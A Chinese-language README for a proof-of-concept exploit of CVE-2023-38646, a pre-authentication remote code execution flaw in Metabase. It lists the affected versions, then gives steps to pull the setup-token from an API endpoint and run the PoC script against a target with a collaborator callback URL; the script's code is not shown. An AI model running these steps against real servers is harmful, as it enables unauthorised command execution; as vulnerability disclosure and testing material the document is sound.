CVE-2023-38646 - Metabase 预授权 RCE

Metabase 开源版本 0.46.6.1 之前以及 Metabase 企业版 1.46.6.1 之前的版本允许攻击者在服务器上以服务器的权限级别执行任意命令。利用该漏洞无需认证。其他已修复的版本包括 0.45.4.1、1.45.4.1、0.44.7.1、1.44.7.1、0.43.7.2 和 1.43.7.2。

PoC 步骤

1. 访问 http://vulnerablehost.com/api/session/properties
2. 找到 "setup-token"
3. 获取一个 collaborator url（已使用 BurpSuite 进行测试）
4. 使用以下参数运行 PoC 脚本：
   • -u - 目标 URL
   • -t - Setup token
   • -c - Collaborator url
   • python3 CVE-2023-38646.py -u <target> -t <setup-token> -c <collaborator-url>
5. 检查你的 collaborator 是否有任何回调

参考链接

• https://www.metabase.com/blog/security-advisory
• https://blog.calif.io/p/reproducing-cve-2023-38646-metabase
• https://blog.assetnote.io/2023/07/22/pre-auth-rce-metabase/